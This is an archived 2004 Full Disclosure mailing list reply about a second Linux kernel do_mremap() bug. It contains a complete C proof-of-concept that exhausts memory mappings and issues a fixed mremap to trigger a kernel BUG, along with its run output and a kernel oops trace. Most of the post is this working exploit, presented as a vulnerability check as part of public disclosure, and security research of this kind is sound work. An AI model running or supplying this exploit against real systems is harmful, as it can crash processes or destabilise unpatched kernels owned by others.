Full Disclosure mailing list archives

Re: Second critical mremap() bug found in all Linux kernels


From: Christophe Devine <devine () iie cnam fr>
Date: Wed, 18 Feb 2004 14:51:37 +0100

Paul Starzetz wrote:

The kernel also tries to insert the overlapping VMA area into the VMA
descriptor list but this fails due to further checks in the low level
VMA manipulation code. The low level VMA list check in the 2.4 and 2.6
kernel versions just call BUG() therefore terminating the malicious
process.

This PoC exploit can be used to check if a Linux system is vulnerable
to the second do_mremap() bug; the code has only been tested on Linux
version 2.4.22 so far.


$ gcc -W -Wall mremap_poc_2.c && ./a.out
mmap: Cannot allocate memory
created ~65530 VMAs
now mremapping 0x3FFE5000 at 0x3FFE1000
Segmentation fault


$ dmesg | tail -n 16
kernel BUG at mmap.c:1194!
invalid operand: 0000
CPU:    0
EIP:    0010:[<c01239b5>]    Not tainted
EFLAGS: 00010287
eax: 3ffe2000   ebx: ce189f80   ecx: ce189f38   edx: ce189f20
esi: ce189fc4   edi: ce189f04   ebp: ce189ec0   esp: cf101f44
ds: 0018   es: 0018   ss: 0018
Process a.out (pid: 5371, stackpage=cf101000)
Stack: ce189f80 ce189fc4 ce189f04 3ffe1000 3ffe1000 c012873f cf1b66e0 c01287c7
       cf1b66e0 ce189ec0 cf100000 00001000 cf1b66fc ffff0001 cf1b66e0 00000000
       c339df1c ce189ec0 cf100000 fffffff4 ce189e60 c0128896 3ffe5000 00001000
Call Trace:    [<c012873f>] [<c01287c7>] [<c0128896>] [<c01086b3>]

Code: 0f 0b aa 04 21 f9 2d c0 8b 7c 24 10 8b 74 24 14 8b 5c 24 18


$ cat mremap_poc_2.c

/*
 *  Proof-of-concept exploit code for do_mremap() #2
 *
 *  Copyright (C) 2004  Christophe Devine
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

#include <asm/unistd.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

#define MREMAP_MAYMOVE  1
#define MREMAP_FIXED    2

#define MREMAP_FLAGS  MREMAP_MAYMOVE | MREMAP_FIXED

#define __NR_real_mremap __NR_mremap

static inline _syscall5( void *, real_mremap, void *, old_address,
                         size_t, old_size, size_t, new_size,
                         unsigned long, flags, void *, new_address );

#define VMA_SIZE 0x00003000

int main( void )
{
    int i, ret;
    void *base0;
    void *base1;

    i = 0;

    while( 1 )
    {
        i++;

        ret = (int) mmap( (void *)( i * (VMA_SIZE + 0x1000) ),
                          VMA_SIZE, PROT_READ | PROT_WRITE,
                          MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );

        if( ret == -1 )
        {
            perror( "mmap" );
            break;
        }

        base0 = base1;
        base1 = (void *) ret;
    }

    printf( "created ~%d VMAs\n", i );

    base0 += 0x1000;
    base1 += 0x1000;

    printf( "now mremapping 0x%08X at 0x%08X\n",
            (int) base1, (int) base0 );

    real_mremap( base1, 4096, 4096, MREMAP_FLAGS, base0 );

    printf( "kernel may not be vulnerable\n" );

    return( 0 );
}

EOF

-- 
Christophe Devine - http://www.cr0.net:8040/about/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


Current thread: